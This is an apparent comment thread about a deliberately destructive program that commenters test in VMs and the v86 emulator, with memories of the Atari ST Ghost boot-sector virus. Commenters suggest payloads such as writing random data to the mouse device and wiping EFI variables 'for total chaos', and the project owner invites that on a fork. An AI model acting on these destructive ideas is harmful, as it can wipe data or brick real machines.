its still a vm on my computer, i know it wont hit my real computer, but it would take a toll on the real cpu

@webdev03 I know. It nearly wiped out my Chrome OS dev machine. You might be able to avoid the CPU load if you use Bochs and set a decently low limit for the clock speed.

random data to your mouse device

One of the earlier and cooler computer virus was "Ghost Virus". Innocuous enough, it simply reversed your mouse.

@mryellow I do more than that. Nuclear is always better.

@mryellow ahh, the Ghost virus was incredibly annoying... Apart from forcing you to boot with no floppy disk if you're not sure which of your disks is infected (this takes around 30 seconds extra on the Atari ST), it also happened to wreck game disks since they usually had a custom bootsector loader which Ghost overwrites.

The original was clean, wiki talks about later variants having bugs.

In my experiments messing with Atari ST boot sectors (on disks which already had data) it was pretty easy to have something go wrong though.

It seems potentially recoverable with a reinstall. Could also wipe the EFI vars for total chaos.

@battlesnake Feel free to add that on a fork. Just make sure it still runs on v86.
